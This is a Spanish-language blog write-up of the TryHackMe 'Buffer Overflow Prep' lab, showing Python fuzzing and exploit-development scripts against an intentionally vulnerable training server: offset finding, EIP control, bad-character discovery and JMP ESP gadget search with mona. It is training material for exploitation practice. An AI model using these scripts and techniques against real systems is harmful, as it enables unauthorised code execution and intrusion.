This page looks best with JavaScript enabled

TryHackMe - Buffer Overflow Prep

 •  ✍️ sckull

Buffer Overflow Prep es una room enfocada a la practica de explotación para el OSCP. Se muestran los ‘pasos’, comandos y herramientas para llegar a la solución de cada uno de los retos.

Titulo Buffer Overflow Prep box_img_maker
Descripción Practice stack based buffer overflows!
Puntos 160
Dificultad Facil
Maker

Tib3rius

Configuración

Para agilizar el trabajo descargamos la carpeta completa (vulnerable-apps/) a una maquina local Windos 7 de 32 bits.

Immunity Debugger

Para resolver los diferentes retos utilizamos el debugger Immunity Debugger. Tras la instalación, configuramos el debugger de tal forma que este pueda ser ejecuado como administrador.
image

Mona

Vamos a utilizar el script mona.py el cual descargamos y copiamos dentro del directorio PyCommands de Immunity.
image

Tras copiar el script generamos nuestro directorio bajo el cual vamos a trabajar con el siguiente comando. En mi caso tengo una carpeta en la raiz del disco duro (C:\bof\). El valor %p representaría el nombre del proceso el cual sería oscp, de tal forma que nuestro directorio de trabajo sería: C:\bof\oscp\.

1
!mona config -set workingdirectory C:\bof\%p

oscp.exe

En Immunity abrimos el ejecutable oscp.exe en File > Open.
image

Vemos que esta en Pausa, podemos utilizar el boton de “play” o F9 para que se siga ejecutando normalmente.
image

Finalmente vemos abierta una terminal donde se muestra el output del ejecutable.
image

Python

Para el desarrollo de exploits vamos a utilizar el lenguaje Python, se presentan algunas “plantillas” de scripts que utilizamos en los distintos “pasos”.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python2.7
import socket, sys
from pwn import *
from struct import pack

if len(sys.argv) != 2:
        print("[*] Run:\n\toverflow.py <IP-address>")
        sys.exit(1)

address = sys.argv[1]
port = 1337

# Fuzzing
buff = ["A"]                                                                          
c = 100                                                                               
                                                                                      
while len(buff) < 30:                                                                                                                                                       
        buff.append("A"*c)                                                                                                                                                  
        c += 100                                                                                                                                                            
                                                                                                                                                                            
p1 = log.progress("Progreso")                                                                                                                                               
                                                                                                                                                                            
for string in buff:                                                                                                                                                         
        try:                                                                                                                                                                
                p1.status("Enviando %s bytes." % len(string))                         
                s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)                  
                connect = s.connect((address, port))                                                                                                                        
                data = s.recv(1024)                                                   
                s.send("OVERFLOW1 %s\r\n" % string)                                   
                s.close()                                                             
                #log.info("x_x socket.")                                              
        except Exception as e:
                #print(e)
                log.failure("Parece que el programa se detuvo con %s bytes." % len(string))
                sys.exit(1)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/python2.7
import socket, sys
from pwn import *
from struct import pack

if len(sys.argv) != 2:
        print("[*] Run:\n\toverflow.py <IP-address>")
        sys.exit(1)

address = sys.argv[1]
port = 1337

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

eip_ret = "B" * 4
nops  = "" # 16 bytes
padding = "C"

buff = "A" * 1274 + eip_ret + nops + badchars + padding * (??? - ??? - 4 - 255) # 255 badchars
try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW4 %s\r\n" % buff)
        s.close()
        log.info("Conexion Finalizada.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo." )
        sys.exit(1)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python2.7
import socket, sys
from pwn import *
from struct import pack

if len(sys.argv) != 2:
        print("[*] Run:\n\toverflow.py <IP-address>")
        sys.exit(1)

address = sys.argv[1]
port = 1337

# Shellcode
shellcode = ()

eip_ret = pack("<L",0x???)
padding = "C"
nops = "\x90" * 16
buff = "A" * ??? + eip_ret + nops + shellcode + padding * (??? - ??? - 4 - ???) # junk ???, eip 4, nops 16, shellcode ???, padding ??? = ???

try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW1 %s\r\n" % buff)
        s.close()
        log.info("Conexion finalizada.")
except Exception as e:
        #print(e)
        log.failure("Error.")

Overflow 1

Ejecución

El ejecutable esta a la escucha por el puerto 1337 por lo que realizamos una prueba de conexión inicial para verificar y encontrar los diferentes inputs y/o parametros. En este caso vamos a utilizar netcat para realizar la conexión por el puerto mencionado, hay que mencionar que el ejecutable contiene los diez ejercicios/retos por lo que para el primero observamos que tiene como “input” OVERFLOW1 seguido del valor que podemos enviar.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
➜  OVERFLOW_1 nc 192.168.22.128 1337
Welcome to OSCP Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP
OVERFLOW1 [value]
OVERFLOW2 [value]
OVERFLOW3 [value]
OVERFLOW4 [value]
OVERFLOW5 [value]
OVERFLOW6 [value]
OVERFLOW7 [value]
OVERFLOW8 [value]
OVERFLOW9 [value]
OVERFLOW10 [value]
EXIT
OVERFLOW1 1234567890
OVERFLOW1 COMPLETE

Fuzzing

Utilizamos este pequeño script en python donde es necesario pasarle la dirección IP para realizar distintas conexiones por medio de sockets enviando distintos tamaños de string que contienen unicamente la letra “A”, para ver a que punto y tamaño de string el programa se detiene.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python2.7
import socket, sys
from pwn import *
from struct import pack

if len(sys.argv) != 2:
        print("[*] Run:\n\toscp1.py <IP-address>")
        sys.exit(1)

address = sys.argv[1]
port = 1337

# Fuzzing
buff = ["A"]
c = 100

while len(buff) < 20:
        buff.append("A"*c)
        c += 100

for string in buff:
        try:
                log.info("Enviando %s bytes." % len(string))
                s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                connect = s.connect((address, port))
                data = s.recv(1024)
                s.send("OVERFLOW1 %s\r\n" % string)
                s.close()
                #log.info("x_x socket.")
        except Exception as e:
                #print(e)
                log.failure("Parece que el programa se detuvo con %s bytes." % len(string))

Antes de realizar la ejecución le damos permisos necesarios.

1
2
3
➜  OVERFLOW_1 ls
overflow1.py
➜  OVERFLOW_1 chmod +x overflow1.py

Ejecutamos el script y vemos que ya no puede realizar ninguna conexión al rededor de los 2100 bytes.

1
2
3
4
➜  OVERFLOW_1 ./overflow1.py 192.168.22.128
[/] Progreso: Enviando 2100 bytes.
[-] Parece que el programa se detuvo con 2100 bytes.
➜  OVERFLOW_1

Vemos en el debugger, que el programa esta pausado o se detuvo y, en los registros de memoria se observa que el valor de EIP se ha sobreescrito con múltiples “A"s en valor hexadecimal (41414141), en el ESP se observan múltiples “A"s.
image

Offset EIP

Para controlar el flujo de la aplicación es necesario controlar el registro EIP ya que este apunta a la siguiente instrucción, para ello debemos de conocer el offset exacto. Para encontrar este valor vamos a utilizar pattern_create.rb de metasploit el cual nos permite crear un único patron de caracteres según el tamaño indicado. Sabemos que el programa se detuvo con 2100 bytes vamos aumentar el tamaño del patron.

1
2
3
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_create.rb -l 2200            
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2C

Modificamos el script de tal forma que realice únicamente una conexión para enviar nuestro patron.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/python2.7
import socket, sys
from pwn import *
from struct import pack

if len(sys.argv) != 2:
        print("[*] Run:\n\toscp1.py <IP-address>")
        sys.exit(1)

address = sys.argv[1]
port = 1337

# Patron
buff =  "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2C"

try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW1 %s\r\n" % buff)
        s.close()
        #log.info("x_x socket.")
        log.info("Conexion Finalizada.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo.")

Antes de ejecutar nuestro script nuevamente ejecutamos el fichero, realizando CTRL + F2 y F9, o en el icono como se muestra en la imagen y “play”.
image

Tras ejecutar el script el programa se detiene, vemos en los registro que ahora ya no existen valores “A” (41414141), ya que enviamos un patron único. Tomamos el valor de EIP 6F43396E.
image

Con el script pattern_offset.rb podemos obtener el valor exacto del offset, pasando el valor de EIP y la longitud de nuestro patron anteriormente creado. Tras ejecutar el script este muestra que el valor exacto del offset es 1978 bytes.

1
2
3
4
5
6
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_offset.rb -q 6F43396E -l 2200
[*] Exact match at offset 1978
                                                                                                                                       
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$

De igual forma podemos conocer el offset utilizando mona viendo el offset del registro EIP.

1
!mona findmsp -distance 2200

Control EIP

Sabiendo el offset exacto vamos a tomar el control del registro EIP. Para ello modificamos el script tomando en cuenta el offset encontrado y a este le agregamos el valor de “B"s exactamente cuatro bytes, para verificar que el offset sea exacto y, que el valor de este caracter (B) aparezca en el registro EIP, esto nos indicaría que tenemos el control del EIP, tambien agregamos un padding para mantener la longitud del buffer que anteriormente generamos (2200 bytes).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
# ./pattern_create.rb -l 2200 
# buff = 1978 + 4 + 218 = 2200

# EIP
eip_ret = "B" * 4
padding = "C"
buff = "A" * 1978 + eip_ret + padding * (2200-1978-4)
try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW1 %s\r\n" % buff)
        s.close()
        log.info("Conexion finalizada.")
except Exception as e:
        #print(e)
        log.failure("Error.")

Tras la ejecución del script vemos que el registro EIP vale “B” en hexadecimal (42424242) lo cual confirma que tenemos el control del EIP. Además vemos que el registro ESP esta lleno de nuestro padding “C” en hexadecimal (43434343…).
image

Espacio - Shellcode

Ahora que confirmamos que tenemos el control de EIP, necesitamos encontrar más espacio para nuestro shellcode ya que los 218 bytes restantes de los 2200 no serán suficientes ya que nuestro shellcode podria superar los 450 bytes. Para ello simplemente agregamos más “C"s y vemos si la aplicacion sigue el mismo comportamiento de antes. Para estar seguros agregamos un padding en total de 500 bytes.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# espacio shellcode
eip_ret = "B" * 4
padding = "C"
buff = "A" * 1978 + eip_ret + padding * (2200-1978-4 + 284) # (218) + 282 = 500
# 1978 (junk) + eip_ret (4) + padding (500)
# Total bytes = 2482
try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW1 %s\r\n" % buff)
        s.close()
        log.info("Conexion finalizada.")
except Exception as e:
        #print(e)
        log.failure("Error.")

Tras ejecutar el script vemos que el programa sigue comportandose de la misma forma, observamos el registro ESP lleno de “C"s y el registro EIP con “B"s como antes.
image

BadChars

Antes de generar nuestro shellcode debemos de identificar los “badchars”, estos son los caracteres que podrian interferir en la ejecución de nuestro shellcode o no ser aceptados. Existen algunos “badchars” que comunmente se omiten:

Hexadecimal Representación
00 NULL
0a Salto de linea ’\n’
0d Retorno de carro ’\r’
20 Espacio

Para identificarlos primero generamos un string con todos los caracteres. Vamos a usar el siguiente comando con mona en el debugger, omitimos el primer badchar.

1
!mona bytearray -cpb "\x00"

Vemos en la salida del comando todos los caracteres, además se muestran dos ficheros, el primero contiene todos los badchars los cuales vamos a copiar a nuestro script, el segundo tiene el mismo contenido pero nos servirá para identificar los badchars.
image

Modificamos el script agregando antes del padding y compensamos la cantidad restante con “C"s para mantener la longitud anteriormente encontrada (2482).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Badchars
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
eip_ret = "B"*4
padding = "C"
buff = "A" * 1978 + eip_ret + badchars + padding * (2482-1978-4-255) # 1978 junk, eip 4, 255 badchars, 245 padding
# Total bytes = 2482
try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW1 %s\r\n" % buff)
        s.close()
        log.info("Conexion finalizada.")
except Exception as e:
        #print(e)
        log.failure("Error.")

Tras ejecutar el script vemos que el programa se detuvo, en este punto tomamos el valor del registro ESP (o simplemente esp), y utilizando mona identificamos los badchar con el fichero bytearray.bin.

1
2
!mona compare -f C:\bof\oscp\bytearray.bin -a <ESP-address>
!mona compare -f C:\bof\oscp\bytearray.bin -a esp

Vemos en el output que se muestran “posibles badchars”, estos son los valores que debemos de tomar y nuevamente crear un array omitiendo uno por uno.
image

1
!mona bytearray -cpb "\x00\x07"

Tras generar un nuevo array, modificamos el script, y con mona nuevamente identificamos los badchars. Vemos el valor 2e.
image

Nuevamente creamos un nuevo array, omitiendo el valor \x2e.

1
!mona bytearray -cpb "\x00\x07\x2e"

Observamos el valor a0
image

Nuevamente creamos un nuevo array, omitiendo el valor \xa0.

1
!mona bytearray -cpb "\x00\x07\x2e\xa0"

Esta vez ya no se muestra ninguno, por lo que logramos identificar todos los badchars ("\x00\x07\x2e\xa0").
image

Chars

Algunos “badchars” suelen corromper el siguiente por ejemplo el valor \x00 podria corromper al valor \x01, el cual no es comun encontrar como badchar, en el caso anterior vemos el valor \x07, al igual que el valor \x01 no suele ser un badchar, si creamos un nuevo array incluyendo este valor, mona no muestra que sea un badchar.

JMP ESP

El registro ESP se ha llenado de la información que hemos estado enviando (“A"s, patron único y badchars) y es donde vamos a almacenar nuestro shellcode, pero para ello debemos de encontrar una forma de redirigir el flujo del programa al ESP, teniendo el control del registro EIP debemos decirle que apunte al ESP. Por ello, debemos de localizar la instruccion JMP ESP dentro del ejecutable o los modulos que este utiliza. El script nasm_shell.rb nos puede ayudar a encontrar el valor en hexadecimal de esta instrucción.

1
2
3
4
5
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./nasm_shell.rb                        
nasm > JMP ESP
00000000  FFE4              jmp esp
nasm >

Tomamos el valor FFE4 el cual vamos a buscar en uno de los modulos que el ejecutable utiliza. Primero, buscamos algun modulo que no tenga ningun tipo de proteccion habilitada, vemos dos incluyendo el ejecutable.
image

Ahora debemos de localizar la instruccion FFE4 dentro de este modulo omitiendo los badchars.

1
!mona find -s "\xff\xe4" -m essfunc.dll -cpb "\x00\x07\x2e\xa0"

Observamos multiples direcciones que contienen dicha instrucción.
image

Para verificar que estas direcciónes contengan la instrucción que buscamos, vamos a la dirección dada y vemos la instrucción JMP ESP.
image

De igual forma podemos utilizar mona con los siguientes comando para encontrar la instrucción.

1
2
!mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -cpb "\x00\x07\x2e\xa0"
